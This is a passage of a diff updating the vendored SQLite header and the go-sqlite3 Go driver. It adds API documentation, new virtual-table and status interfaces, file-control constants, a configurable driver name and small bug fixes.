+** ^If the most recent error does not reference a specific token in the input
+** SQL, then the sqlite3_error_offset() function returns -1.
+**
 ** When the serialized [threading mode] is in use, it might be the
 ** case that a second error occurs on a separate thread in between
 ** the time of the first error and the call to these interfaces.
@@ -3802,6 +3873,7 @@ SQLITE_API int sqlite3_extended_errcode(sqlite3 *db);
 SQLITE_API const char *sqlite3_errmsg(sqlite3*);
 SQLITE_API const void *sqlite3_errmsg16(sqlite3*);
 SQLITE_API const char *sqlite3_errstr(int);
+SQLITE_API int sqlite3_error_offset(sqlite3 *db);
 
 /*
 ** CAPI3REF: Prepared Statement Object
@@ -4159,12 +4231,17 @@ SQLITE_API int sqlite3_prepare16_v3(
 ** are managed by SQLite and are automatically freed when the prepared
 ** statement is finalized.
 ** ^The string returned by sqlite3_expanded_sql(P), on the other hand,
-** is obtained from [sqlite3_malloc()] and must be free by the application
+** is obtained from [sqlite3_malloc()] and must be freed by the application
 ** by passing it to [sqlite3_free()].
+**
+** ^The sqlite3_normalized_sql() interface is only available if
+** the [SQLITE_ENABLE_NORMALIZE] compile-time option is defined.
 */
 SQLITE_API const char *sqlite3_sql(sqlite3_stmt *pStmt);
 SQLITE_API char *sqlite3_expanded_sql(sqlite3_stmt *pStmt);
+#ifdef SQLITE_ENABLE_NORMALIZE
 SQLITE_API const char *sqlite3_normalized_sql(sqlite3_stmt *pStmt);
+#endif
 
 /*
 ** CAPI3REF: Determine If An SQL Statement Writes The Database
@@ -4208,6 +4285,10 @@ SQLITE_API const char *sqlite3_normalized_sql(sqlite3_stmt *pStmt);
 ** be false.  ^Similarly, a CREATE TABLE IF NOT EXISTS statement is a
 ** read-only no-op if the table already exists, but
 ** sqlite3_stmt_readonly() still returns false for such a statement.
+**
+** ^If prepared statement X is an [EXPLAIN] or [EXPLAIN QUERY PLAN]
+** statement, then sqlite3_stmt_readonly(X) returns the same value as
+** if the EXPLAIN or EXPLAIN QUERY PLAN prefix were omitted.
 */
 SQLITE_API int sqlite3_stmt_readonly(sqlite3_stmt *pStmt);
 
@@ -4276,6 +4357,8 @@ SQLITE_API int sqlite3_stmt_busy(sqlite3_stmt*);
 **
 ** ^The sqlite3_value objects that are passed as parameters into the
 ** implementation of [application-defined SQL functions] are protected.
+** ^The sqlite3_value objects returned by [sqlite3_vtab_rhs_value()]
+** are protected.
 ** ^The sqlite3_value object returned by
 ** [sqlite3_column_value()] is unprotected.
 ** Unprotected sqlite3_value objects may only be used as arguments
@@ -6348,6 +6431,72 @@ SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt);
 SQLITE_API void *sqlite3_commit_hook(sqlite3*, int(*)(void*), void*);
 SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void(*)(void *), void*);
 
+/*
+** CAPI3REF: Autovacuum Compaction Amount Callback
+** METHOD: sqlite3
+**
+** ^The sqlite3_autovacuum_pages(D,C,P,X) interface registers a callback
+** function C that is invoked prior to each autovacuum of the database
+** file.  ^The callback is passed a copy of the generic data pointer (P),
+** the schema-name of the attached database that is being autovacuumed,
+** the the size of the database file in pages, the number of free pages,
+** and the number of bytes per page, respectively.  The callback should
+** return the number of free pages that should be removed by the
+** autovacuum.  ^If the callback returns zero, then no autovacuum happens.
+** ^If the value returned is greater than or equal to the number of
+** free pages, then a complete autovacuum happens.
+**
+** <p>^If there are multiple ATTACH-ed database files that are being
+** modified as part of a transaction commit, then the autovacuum pages
+** callback is invoked separately for each file.
+**
+** <p><b>The callback is not reentrant.</b> The callback function should
+** not attempt to invoke any other SQLite interface.  If it does, bad
+** things may happen, including segmentation faults and corrupt database
+** files.  The callback function should be a simple function that
+** does some arithmetic on its input parameters and returns a result.
+**
+** ^The X parameter to sqlite3_autovacuum_pages(D,C,P,X) is an optional
+** destructor for the P parameter.  ^If X is not NULL, then X(P) is
+** invoked whenever the database connection closes or when the callback
+** is overwritten by another invocation of sqlite3_autovacuum_pages().
+**
+** <p>^There is only one autovacuum pages callback per database connection.
+** ^Each call to the sqlite3_autovacuum_pages() interface overrides all
+** previous invocations for that database connection.  ^If the callback
+** argument (C) to sqlite3_autovacuum_pages(D,C,P,X) is a NULL pointer,
+** then the autovacuum steps callback is cancelled.  The return value
+** from sqlite3_autovacuum_pages() is normally SQLITE_OK, but might
+** be some other error code if something goes wrong.  The current
+** implementation will only return SQLITE_OK or SQLITE_MISUSE, but other
+** return codes might be added in future releases.
+**
+** <p>If no autovacuum pages callback is specified (the usual case) or
+** a NULL pointer is provided for the callback,
+** then the default behavior is to vacuum all free pages.  So, in other
+** words, the default behavior is the same as if the callback function
+** were something like this:
+**
+** <blockquote><pre>
+** &nbsp;   unsigned int demonstration_autovac_pages_callback(
+** &nbsp;     void *pClientData,
+** &nbsp;     const char *zSchema,
+** &nbsp;     unsigned int nDbPage,
+** &nbsp;     unsigned int nFreePage,
+** &nbsp;     unsigned int nBytePerPage
+** &nbsp;   ){
+** &nbsp;     return nFreePage;
+** &nbsp;   }
+** </pre></blockquote>
+*/
+SQLITE_API int sqlite3_autovacuum_pages(
+  sqlite3 *db,
+  unsigned int(*)(void*,const char*,unsigned int,unsigned int,unsigned int),
+  void*,
+  void(*)(void*)
+);
+
+
 /*
 ** CAPI3REF: Data Change Notification Callbacks
 ** METHOD: sqlite3
@@ -6989,24 +7138,56 @@ struct sqlite3_index_info {
 **
 ** These macros define the allowed values for the
 ** [sqlite3_index_info].aConstraint[].op field.  Each value represents
-** an operator that is part of a constraint term in the wHERE clause of
+** an operator that is part of a constraint term in the WHERE clause of
 ** a query that uses a [virtual table].
+**
+** ^The left-hand operand of the operator is given by the corresponding
+** aConstraint[].iColumn field.  ^An iColumn of -1 indicates the left-hand
+** operand is the rowid.
+** The SQLITE_INDEX_CONSTRAINT_LIMIT and SQLITE_INDEX_CONSTRAINT_OFFSET
+** operators have no left-hand operand, and so for those operators the
+** corresponding aConstraint[].iColumn is meaningless and should not be
+** used.
+**
+** All operator values from SQLITE_INDEX_CONSTRAINT_FUNCTION through
+** value 255 are reserved to represent functions that are overloaded
+** by the [xFindFunction|xFindFunction method] of the virtual table
+** implementation.
+**
+** The right-hand operands for each constraint might be accessible using
+** the [sqlite3_vtab_rhs_value()] interface.  Usually the right-hand
+** operand is only available if it appears as a single constant literal
+** in the input SQL.  If the right-hand operand is another column or an
+** expression (even a constant expression) or a parameter, then the
+** sqlite3_vtab_rhs_value() probably will not be able to extract it.
+** ^The SQLITE_INDEX_CONSTRAINT_ISNULL and
+** SQLITE_INDEX_CONSTRAINT_ISNOTNULL operators have no right-hand operand
+** and hence calls to sqlite3_vtab_rhs_value() for those operators will
+** always return SQLITE_NOTFOUND.
+**
+** The collating sequence to be used for comparison can be found using
+** the [sqlite3_vtab_collation()] interface.  For most real-world virtual
+** tables, the collating sequence of constraints does not matter (for example
+** because the constraints are numeric) and so the sqlite3_vtab_collation()
+** interface is no commonly needed.
 */
-#define SQLITE_INDEX_CONSTRAINT_EQ         2
-#define SQLITE_INDEX_CONSTRAINT_GT         4
-#define SQLITE_INDEX_CONSTRAINT_LE         8
-#define SQLITE_INDEX_CONSTRAINT_LT        16
-#define SQLITE_INDEX_CONSTRAINT_GE        32
-#define SQLITE_INDEX_CONSTRAINT_MATCH     64
-#define SQLITE_INDEX_CONSTRAINT_LIKE      65
-#define SQLITE_INDEX_CONSTRAINT_GLOB      66
-#define SQLITE_INDEX_CONSTRAINT_REGEXP    67
-#define SQLITE_INDEX_CONSTRAINT_NE        68
-#define SQLITE_INDEX_CONSTRAINT_ISNOT     69
-#define SQLITE_INDEX_CONSTRAINT_ISNOTNULL 70
-#define SQLITE_INDEX_CONSTRAINT_ISNULL    71
-#define SQLITE_INDEX_CONSTRAINT_IS        72
-#define SQLITE_INDEX_CONSTRAINT_FUNCTION 150
+#define SQLITE_INDEX_CONSTRAINT_EQ          2
+#define SQLITE_INDEX_CONSTRAINT_GT          4
+#define SQLITE_INDEX_CONSTRAINT_LE          8
+#define SQLITE_INDEX_CONSTRAINT_LT         16
+#define SQLITE_INDEX_CONSTRAINT_GE         32
+#define SQLITE_INDEX_CONSTRAINT_MATCH      64
+#define SQLITE_INDEX_CONSTRAINT_LIKE       65
+#define SQLITE_INDEX_CONSTRAINT_GLOB       66
+#define SQLITE_INDEX_CONSTRAINT_REGEXP     67
+#define SQLITE_INDEX_CONSTRAINT_NE         68
+#define SQLITE_INDEX_CONSTRAINT_ISNOT      69
+#define SQLITE_INDEX_CONSTRAINT_ISNOTNULL  70
+#define SQLITE_INDEX_CONSTRAINT_ISNULL     71
+#define SQLITE_INDEX_CONSTRAINT_IS         72
+#define SQLITE_INDEX_CONSTRAINT_LIMIT      73
+#define SQLITE_INDEX_CONSTRAINT_OFFSET     74
+#define SQLITE_INDEX_CONSTRAINT_FUNCTION  150
 
 /*
 ** CAPI3REF: Register A Virtual Table Implementation
@@ -7035,7 +7216,7 @@ struct sqlite3_index_info {
 ** destructor.
 **
 ** ^If the third parameter (the pointer to the sqlite3_module object) is
-** NULL then no new module is create and any existing modules with the
+** NULL then no new module is created and any existing modules with the
 ** same name are dropped.
 **
 ** See also: [sqlite3_drop_modules()]
@@ -7811,7 +7992,8 @@ SQLITE_API int sqlite3_test_control(int op, ...);
 #define SQLITE_TESTCTRL_SEEK_COUNT              30
 #define SQLITE_TESTCTRL_TRACEFLAGS              31
 #define SQLITE_TESTCTRL_TUNE                    32
-#define SQLITE_TESTCTRL_LAST                    32  /* Largest TESTCTRL */
+#define SQLITE_TESTCTRL_LOGEST                  33
+#define SQLITE_TESTCTRL_LAST                    33  /* Largest TESTCTRL */
 
 /*
 ** CAPI3REF: SQL Keyword Checking
@@ -8334,6 +8516,16 @@ SQLITE_API int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg);
 ** The counter is incremented on the first [sqlite3_step()] call of each
 ** cycle.
 **
+** [[SQLITE_STMTSTATUS_FILTER_MISS]]
+** [[SQLITE_STMTSTATUS_FILTER HIT]]
+** <dt>SQLITE_STMTSTATUS_FILTER_HIT<br>
+** SQLITE_STMTSTATUS_FILTER_MISS</dt>
+** <dd>^SQLITE_STMTSTATUS_FILTER_HIT is the number of times that a join
+** step was bypassed because a Bloom filter returned not-found.  The
+** corresponding SQLITE_STMTSTATUS_FILTER_MISS value is the number of
+** times that the Bloom filter returned a find, and thus the join step
+** had to be processed as normal.
+**
 ** [[SQLITE_STMTSTATUS_MEMUSED]] <dt>SQLITE_STMTSTATUS_MEMUSED</dt>
 ** <dd>^This is the approximate number of bytes of heap memory
 ** used to store the prepared statement.  ^This value is not actually
@@ -8348,6 +8540,8 @@ SQLITE_API int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg);
 #define SQLITE_STMTSTATUS_VM_STEP           4
 #define SQLITE_STMTSTATUS_REPREPARE         5
 #define SQLITE_STMTSTATUS_RUN               6
+#define SQLITE_STMTSTATUS_FILTER_MISS       7
+#define SQLITE_STMTSTATUS_FILTER_HIT        8
 #define SQLITE_STMTSTATUS_MEMUSED           99
 
 /*
@@ -9011,8 +9205,9 @@ SQLITE_API void sqlite3_log(int iErrCode, const char *zFormat, ...);
 **
 ** A single database handle may have at most a single write-ahead log callback
 ** registered at one time. ^Calling [sqlite3_wal_hook()] replaces any
-** previously registered write-ahead log callback. ^Note that the
-** [sqlite3_wal_autocheckpoint()] interface and the
+** previously registered write-ahead log callback. ^The return value is
+** a copy of the third parameter from the previous call, if any, or 0.
+** ^Note that the [sqlite3_wal_autocheckpoint()] interface and the
 ** [wal_autocheckpoint pragma] both invoke [sqlite3_wal_hook()] and will
 ** overwrite any prior [sqlite3_wal_hook()] settings.
 */
@@ -9315,19 +9510,269 @@ SQLITE_API int sqlite3_vtab_nochange(sqlite3_context*);
 
 /*
 ** CAPI3REF: Determine The Collation For a Virtual Table Constraint
+** METHOD: sqlite3_index_info
 **
 ** This function may only be called from within a call to the [xBestIndex]
-** method of a [virtual table].
+** method of a [virtual table].  This function returns a pointer to a string
+** that is the name of the appropriate collation sequence to use for text
+** comparisons on the constraint identified by its arguments.
 **
-** The first argument must be the sqlite3_index_info object that is the
-** first parameter to the xBestIndex() method. The second argument must be
-** an index into the aConstraint[] array belonging to the sqlite3_index_info
-** structure passed to xBestIndex. This function returns a pointer to a buffer
-** containing the name of the collation sequence for the corresponding
-** constraint.
+** The first argument must be the pointer to the [sqlite3_index_info] object
+** that is the first parameter to the xBestIndex() method. The second argument
+** must be an index into the aConstraint[] array belonging to the
+** sqlite3_index_info structure passed to xBestIndex.
+**
+** Important:
+** The first parameter must be the same pointer that is passed into the
+** xBestMethod() method.  The first parameter may not be a pointer to a
+** different [sqlite3_index_info] object, even an exact copy.
+**
+** The return value is computed as follows:
+**
+** <ol>
+** <li><p> If the constraint comes from a WHERE clause expression that contains
+**         a [COLLATE operator], then the name of the collation specified by
+**         that COLLATE operator is returned.
+** <li><p> If there is no COLLATE operator, but the column that is the subject
+**         of the constraint specifies an alternative collating sequence via
+**         a [COLLATE clause] on the column definition within the CREATE TABLE
+**         statement that was passed into [sqlite3_declare_vtab()], then the
+**         name of that alternative collating sequence is returned.
+** <li><p> Otherwise, "BINARY" is returned.
+** </ol>
 */
 SQLITE_API SQLITE_EXPERIMENTAL const char *sqlite3_vtab_collation(sqlite3_index_info*,int);
 
+/*
+** CAPI3REF: Determine if a virtual table query is DISTINCT
+** METHOD: sqlite3_index_info
+**
+** This API may only be used from within an [xBestIndex|xBestIndex method]
+** of a [virtual table] implementation. The result of calling this
+** interface from outside of xBestIndex() is undefined and probably harmful.
+**
+** ^The sqlite3_vtab_distinct() interface returns an integer that is
+** either 0, 1, or 2.  The integer returned by sqlite3_vtab_distinct()
+** gives the virtual table additional information about how the query
+** planner wants the output to be ordered. As long as the virtual table
+** can meet the ordering requirements of the query planner, it may set
+** the "orderByConsumed" flag.
+**
+** <ol><li value="0"><p>
+** ^If the sqlite3_vtab_distinct() interface returns 0, that means
+** that the query planner needs the virtual table to return all rows in the
+** sort order defined by the "nOrderBy" and "aOrderBy" fields of the
+** [sqlite3_index_info] object.  This is the default expectation.  If the
+** virtual table outputs all rows in sorted order, then it is always safe for
+** the xBestIndex method to set the "orderByConsumed" flag, regardless of
+** the return value from sqlite3_vtab_distinct().
+** <li value="1"><p>
+** ^(If the sqlite3_vtab_distinct() interface returns 1, that means
+** that the query planner does not need the rows to be returned in sorted order
+** as long as all rows with the same values in all columns identified by the
+** "aOrderBy" field are adjacent.)^  This mode is used when the query planner
+** is doing a GROUP BY.
+** <li value="2"><p>
+** ^(If the sqlite3_vtab_distinct() interface returns 2, that means
+** that the query planner does not need the rows returned in any particular
+** order, as long as rows with the same values in all "aOrderBy" columns
+** are adjacent.)^  ^(Furthermore, only a single row for each particular
+** combination of values in the columns identified by the "aOrderBy" field
+** needs to be returned.)^  ^It is always ok for two or more rows with the same
+** values in all "aOrderBy" columns to be returned, as long as all such rows
+** are adjacent.  ^The virtual table may, if it chooses, omit extra rows
+** that have the same value for all columns identified by "aOrderBy".
+** ^However omitting the extra rows is optional.
+** This mode is used for a DISTINCT query.
+** </ol>
+**
+** ^For the purposes of comparing virtual table output values to see if the
+** values are same value for sorting purposes, two NULL values are considered
+** to be the same.  In other words, the comparison operator is "IS"
+** (or "IS NOT DISTINCT FROM") and not "==".
+**
+** If a virtual table implementation is unable to meet the requirements
+** specified above, then it must not set the "orderByConsumed" flag in the
+** [sqlite3_index_info] object or an incorrect answer may result.
+**
+** ^A virtual table implementation is always free to return rows in any order
+** it wants, as long as the "orderByConsumed" flag is not set.  ^When the
+** the "orderByConsumed" flag is unset, the query planner will add extra
+** [bytecode] to ensure that the final results returned by the SQL query are
+** ordered correctly.  The use of the "orderByConsumed" flag and the
+** sqlite3_vtab_distinct() interface is merely an optimization.  ^Careful
+** use of the sqlite3_vtab_distinct() interface and the "orderByConsumed"
+** flag might help queries against a virtual table to run faster.  Being
+** overly aggressive and setting the "orderByConsumed" flag when it is not
+** valid to do so, on the other hand, might cause SQLite to return incorrect
+** results.
+*/
+SQLITE_API int sqlite3_vtab_distinct(sqlite3_index_info*);
+
+/*
+** CAPI3REF: Identify and handle IN constraints in xBestIndex
+**
+** This interface may only be used from within an
+** [xBestIndex|xBestIndex() method] of a [virtual table] implementation.
+** The result of invoking this interface from any other context is
+** undefined and probably harmful.
+**
+** ^(A constraint on a virtual table of the form
+** "[IN operator|column IN (...)]" is
+** communicated to the xBestIndex method as a
+** [SQLITE_INDEX_CONSTRAINT_EQ] constraint.)^  If xBestIndex wants to use
+** this constraint, it must set the corresponding
+** aConstraintUsage[].argvIndex to a postive integer.  ^(Then, under
+** the usual mode of handling IN operators, SQLite generates [bytecode]
+** that invokes the [xFilter|xFilter() method] once for each value
+** on the right-hand side of the IN operator.)^  Thus the virtual table
+** only sees a single value from the right-hand side of the IN operator
+** at a time.
+**
+** In some cases, however, it would be advantageous for the virtual
+** table to see all values on the right-hand of the IN operator all at
+** once.  The sqlite3_vtab_in() interfaces facilitates this in two ways:
+**
+** <ol>
+** <li><p>
+**   ^A call to sqlite3_vtab_in(P,N,-1) will return true (non-zero)
+**   if and only if the [sqlite3_index_info|P->aConstraint][N] constraint
+**   is an [IN operator] that can be processed all at once.  ^In other words,
+**   sqlite3_vtab_in() with -1 in the third argument is a mechanism
+**   by which the virtual table can ask SQLite if all-at-once processing
+**   of the IN operator is even possible.
+**
+** <li><p>
+**   ^A call to sqlite3_vtab_in(P,N,F) with F==1 or F==0 indicates
+**   to SQLite that the virtual table does or does not want to process
+**   the IN operator all-at-once, respectively.  ^Thus when the third
+**   parameter (F) is non-negative, this interface is the mechanism by
+**   which the virtual table tells SQLite how it wants to process the
+**   IN operator.
+** </ol>
+**
+** ^The sqlite3_vtab_in(P,N,F) interface can be invoked multiple times
+** within the same xBestIndex method call.  ^For any given P,N pair,
+** the return value from sqlite3_vtab_in(P,N,F) will always be the same
+** within the same xBestIndex call.  ^If the interface returns true
+** (non-zero), that means that the constraint is an IN operator
+** that can be processed all-at-once.  ^If the constraint is not an IN
+** operator or cannot be processed all-at-once, then the interface returns
+** false.
+**
+** ^(All-at-once processing of the IN operator is selected if both of the
+** following conditions are met:
+**
+** <ol>
+** <li><p> The P->aConstraintUsage[N].argvIndex value is set to a positive
+** integer.  This is how the virtual table tells SQLite that it wants to
+** use the N-th constraint.
+**
+** <li><p> The last call to sqlite3_vtab_in(P,N,F) for which F was
+** non-negative had F>=1.
+** </ol>)^
+**
+** ^If either or both of the conditions above are false, then SQLite uses
+** the traditional one-at-a-time processing strategy for the IN constraint.
+** ^If both conditions are true, then the argvIndex-th parameter to the
+** xFilter method will be an [sqlite3_value] that appears to be NULL,
+** but which can be passed to [sqlite3_vtab_in_first()] and
+** [sqlite3_vtab_in_next()] to find all values on the right-hand side
+** of the IN constraint.
+*/
+SQLITE_API int sqlite3_vtab_in(sqlite3_index_info*, int iCons, int bHandle);
+
+/*
+** CAPI3REF: Find all elements on the right-hand side of an IN constraint.
+**
+** These interfaces are only useful from within the
+** [xFilter|xFilter() method] of a [virtual table] implementation.
+** The result of invoking these interfaces from any other context
+** is undefined and probably harmful.
+**
+** The X parameter in a call to sqlite3_vtab_in_first(X,P) or
+** sqlite3_vtab_in_next(X,P) must be one of the parameters to the
+** xFilter method which invokes these routines, and specifically
+** a parameter that was previously selected for all-at-once IN constraint
+** processing use the [sqlite3_vtab_in()] interface in the
+** [xBestIndex|xBestIndex method].  ^(If the X parameter is not
+** an xFilter argument that was selected for all-at-once IN constraint
+** processing, then these routines return [SQLITE_MISUSE])^ or perhaps
+** exhibit some other undefined or harmful behavior.
+**
+** ^(Use these routines to access all values on the right-hand side
+** of the IN constraint using code like the following:
+**
+** <blockquote><pre>
+** &nbsp;  for(rc=sqlite3_vtab_in_first(pList, &pVal);
+** &nbsp;      rc==SQLITE_OK && pVal
+** &nbsp;      rc=sqlite3_vtab_in_next(pList, &pVal)
+** &nbsp;  ){
+** &nbsp;    // do something with pVal
+** &nbsp;  }
+** &nbsp;  if( rc!=SQLITE_OK ){
+** &nbsp;    // an error has occurred
+** &nbsp;  }
+** </pre></blockquote>)^
+**
+** ^On success, the sqlite3_vtab_in_first(X,P) and sqlite3_vtab_in_next(X,P)
+** routines return SQLITE_OK and set *P to point to the first or next value
+** on the RHS of the IN constraint.  ^If there are no more values on the
+** right hand side of the IN constraint, then *P is set to NULL and these
+** routines return [SQLITE_DONE].  ^The return value might be
+** some other value, such as SQLITE_NOMEM, in the event of a malfunction.
+**
+** The *ppOut values returned by these routines are only valid until the
+** next call to either of these routines or until the end of the xFilter
+** method from which these routines were called.  If the virtual table
+** implementation needs to retain the *ppOut values for longer, it must make
+** copies.  The *ppOut values are [protected sqlite3_value|protected].
+*/
+SQLITE_API int sqlite3_vtab_in_first(sqlite3_value *pVal, sqlite3_value **ppOut);
+SQLITE_API int sqlite3_vtab_in_next(sqlite3_value *pVal, sqlite3_value **ppOut);
+
+/*
+** CAPI3REF: Constraint values in xBestIndex()
+** METHOD: sqlite3_index_info
+**
+** This API may only be used from within the [xBestIndex|xBestIndex method]
+** of a [virtual table] implementation. The result of calling this interface
+** from outside of an xBestIndex method are undefined and probably harmful.
+**
+** ^When the sqlite3_vtab_rhs_value(P,J,V) interface is invoked from within
+** the [xBestIndex] method of a [virtual table] implementation, with P being
+** a copy of the [sqlite3_index_info] object pointer passed into xBestIndex and
+** J being a 0-based index into P->aConstraint[], then this routine
+** attempts to set *V to the value of the right-hand operand of
+** that constraint if the right-hand operand is known.  ^If the
+** right-hand operand is not known, then *V is set to a NULL pointer.
+** ^The sqlite3_vtab_rhs_value(P,J,V) interface returns SQLITE_OK if
+** and only if *V is set to a value.  ^The sqlite3_vtab_rhs_value(P,J,V)
+** inteface returns SQLITE_NOTFOUND if the right-hand side of the J-th
+** constraint is not available.  ^The sqlite3_vtab_rhs_value() interface
+** can return an result code other than SQLITE_OK or SQLITE_NOTFOUND if
+** something goes wrong.
+**
+** The sqlite3_vtab_rhs_value() interface is usually only successful if
+** the right-hand operand of a constraint is a literal value in the original
+** SQL statement.  If the right-hand operand is an expression or a reference
+** to some other column or a [host parameter], then sqlite3_vtab_rhs_value()
+** will probably return [SQLITE_NOTFOUND].
+**
+** ^(Some constraints, such as [SQLITE_INDEX_CONSTRAINT_ISNULL] and
+** [SQLITE_INDEX_CONSTRAINT_ISNOTNULL], have no right-hand operand.  For such
+** constraints, sqlite3_vtab_rhs_value() always returns SQLITE_NOTFOUND.)^
+**
+** ^The [sqlite3_value] object returned in *V is a protected sqlite3_value
+** and remains valid for the duration of the xBestIndex method call.
+** ^When xBestIndex returns, the sqlite3_value object returned by
+** sqlite3_vtab_rhs_value() is automatically deallocated.
+**
+** The "_rhs_" in the name of this routine is an appreviation for
+** "Right-Hand Side".
+*/
+SQLITE_API int sqlite3_vtab_rhs_value(sqlite3_index_info*, int, sqlite3_value **ppVal);
+
 /*
 ** CAPI3REF: Conflict resolution modes
 ** KEYWORDS: {conflict resolution mode}
@@ -9879,6 +10324,10 @@ SQLITE_API unsigned char *sqlite3_serialize(
 ** database is currently in a read transaction or is involved in a backup
 ** operation.
 **
+** It is not possible to deserialized into the TEMP database.  If the
+** S argument to sqlite3_deserialize(D,S,P,N,M,F) is "temp" then the
+** function returns SQLITE_ERROR.
+**
 ** If sqlite3_deserialize(D,S,P,N,M,F) fails for any reason and if the
 ** SQLITE_DESERIALIZE_FREEONCLOSE bit is set in argument F, then
 ** [sqlite3_free()] is invoked on argument P prior to returning.

vendor/github.com/mattn/go-sqlite3/sqlite3.go

@@ -4,6 +4,7 @@
 // Use of this source code is governed by an MIT-style
 // license that can be found in the LICENSE file.
 
+//go:build cgo
 // +build cgo
 
 package sqlite3
@@ -21,8 +22,10 @@ package sqlite3
 #cgo CFLAGS: -DSQLITE_ENABLE_UPDATE_DELETE_LIMIT
 #cgo CFLAGS: -Wno-deprecated-declarations
 #cgo linux,!android CFLAGS: -DHAVE_PREAD64=1 -DHAVE_PWRITE64=1
+#cgo openbsd CFLAGS: -I/usr/local/include
+#cgo openbsd LDFLAGS: -L/usr/local/lib
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif
@@ -231,8 +234,14 @@ const (
 	columnTimestamp string = "timestamp"
 )
 
+// This variable can be replaced with -ldflags like below:
+// go build -ldflags="-X 'github.com/mattn/go-sqlite3.driverName=my-sqlite3'"
+var driverName = "sqlite3"
+
 func init() {
-	sql.Register("sqlite3", &SQLiteDriver{})
+	if driverName != "" {
+		sql.Register(driverName, &SQLiteDriver{})
+	}
 }
 
 // Version returns SQLite library version information.
@@ -288,6 +297,51 @@ const (
 	/*SQLITE_RECURSIVE           = C.SQLITE_RECURSIVE*/
 )
 
+// Standard File Control Opcodes
+// See: https://www.sqlite.org/c3ref/c_fcntl_begin_atomic_write.html
+const (
+	SQLITE_FCNTL_LOCKSTATE             = int(1)
+	SQLITE_FCNTL_GET_LOCKPROXYFILE     = int(2)
+	SQLITE_FCNTL_SET_LOCKPROXYFILE     = int(3)
+	SQLITE_FCNTL_LAST_ERRNO            = int(4)
+	SQLITE_FCNTL_SIZE_HINT             = int(5)
+	SQLITE_FCNTL_CHUNK_SIZE            = int(6)
+	SQLITE_FCNTL_FILE_POINTER          = int(7)
+	SQLITE_FCNTL_SYNC_OMITTED          = int(8)
+	SQLITE_FCNTL_WIN32_AV_RETRY        = int(9)
+	SQLITE_FCNTL_PERSIST_WAL           = int(10)
+	SQLITE_FCNTL_OVERWRITE             = int(11)
+	SQLITE_FCNTL_VFSNAME               = int(12)
+	SQLITE_FCNTL_POWERSAFE_OVERWRITE   = int(13)
+	SQLITE_FCNTL_PRAGMA                = int(14)
+	SQLITE_FCNTL_BUSYHANDLER           = int(15)
+	SQLITE_FCNTL_TEMPFILENAME          = int(16)
+	SQLITE_FCNTL_MMAP_SIZE             = int(18)
+	SQLITE_FCNTL_TRACE                 = int(19)
+	SQLITE_FCNTL_HAS_MOVED             = int(20)
+	SQLITE_FCNTL_SYNC                  = int(21)
+	SQLITE_FCNTL_COMMIT_PHASETWO       = int(22)
+	SQLITE_FCNTL_WIN32_SET_HANDLE      = int(23)
+	SQLITE_FCNTL_WAL_BLOCK             = int(24)
+	SQLITE_FCNTL_ZIPVFS                = int(25)
+	SQLITE_FCNTL_RBU                   = int(26)
+	SQLITE_FCNTL_VFS_POINTER           = int(27)
+	SQLITE_FCNTL_JOURNAL_POINTER       = int(28)
+	SQLITE_FCNTL_WIN32_GET_HANDLE      = int(29)
+	SQLITE_FCNTL_PDB                   = int(30)
+	SQLITE_FCNTL_BEGIN_ATOMIC_WRITE    = int(31)
+	SQLITE_FCNTL_COMMIT_ATOMIC_WRITE   = int(32)
+	SQLITE_FCNTL_ROLLBACK_ATOMIC_WRITE = int(33)
+	SQLITE_FCNTL_LOCK_TIMEOUT          = int(34)
+	SQLITE_FCNTL_DATA_VERSION          = int(35)
+	SQLITE_FCNTL_SIZE_LIMIT            = int(36)
+	SQLITE_FCNTL_CKPT_DONE             = int(37)
+	SQLITE_FCNTL_RESERVE_BYTES         = int(38)
+	SQLITE_FCNTL_CKPT_START            = int(39)
+	SQLITE_FCNTL_EXTERNAL_READER       = int(40)
+	SQLITE_FCNTL_CKSM_FILE             = int(41)
+)
+
 // SQLiteDriver implements driver.Driver.
 type SQLiteDriver struct {
 	Extensions  []string
@@ -828,6 +882,10 @@ func (c *SQLiteConn) exec(ctx context.Context, query string, args []namedValue)
 		tail := s.(*SQLiteStmt).t
 		s.Close()
 		if tail == "" {
+			if res == nil {
+				// https://github.com/mattn/go-sqlite3/issues/963
+				res = &SQLiteResult{0, 0}
+			}
 			return res, nil
 		}
 		query = tail
@@ -1409,12 +1467,6 @@ func (d *SQLiteDriver) Open(dsn string) (driver.Conn, error) {
 		return nil, errors.New("sqlite succeeded without returning a database")
 	}
 
-	rv = C.sqlite3_busy_timeout(db, C.int(busyTimeout))
-	if rv != C.SQLITE_OK {
-		C.sqlite3_close_v2(db)
-		return nil, Error{Code: ErrNo(rv)}
-	}
-
 	exec := func(s string) error {
 		cs := C.CString(s)
 		rv := C.sqlite3_exec(db, cs, nil, nil, nil)
@@ -1425,6 +1477,12 @@ func (d *SQLiteDriver) Open(dsn string) (driver.Conn, error) {
 		return nil
 	}
 
+	// Busy timeout
+	if err := exec(fmt.Sprintf("PRAGMA busy_timeout = %d;", busyTimeout)); err != nil {
+		C.sqlite3_close_v2(db)
+		return nil, err
+	}
+
 	// USER AUTHENTICATION
 	//
 	// User Authentication is always performed even when
@@ -1800,6 +1858,31 @@ func (c *SQLiteConn) SetLimit(id int, newVal int) int {
 	return int(C._sqlite3_limit(c.db, C.int(id), C.int(newVal)))
 }
 
+// SetFileControlInt invokes the xFileControl method on a given database. The
+// dbName is the name of the database. It will default to "main" if left blank.
+// The op is one of the opcodes prefixed by "SQLITE_FCNTL_". The arg argument
+// and return code are both opcode-specific. Please see the SQLite documentation.
+//
+// This method is not thread-safe as the returned error code can be changed by
+// another call if invoked concurrently.
+//
+// See: sqlite3_file_control, https://www.sqlite.org/c3ref/file_control.html
+func (c *SQLiteConn) SetFileControlInt(dbName string, op int, arg int) error {
+	if dbName == "" {
+		dbName = "main"
+	}
+
+	cDBName := C.CString(dbName)
+	defer C.free(unsafe.Pointer(cDBName))
+
+	cArg := C.int(arg)
+	rv := C.sqlite3_file_control(c.db, cDBName, C.int(op), unsafe.Pointer(&cArg))
+	if rv != C.SQLITE_OK {
+		return c.lastError()
+	}
+	return nil
+}
+
 // Close the statement.
 func (s *SQLiteStmt) Close() error {
 	s.mu.Lock()

vendor/github.com/mattn/go-sqlite3/sqlite3_context.go

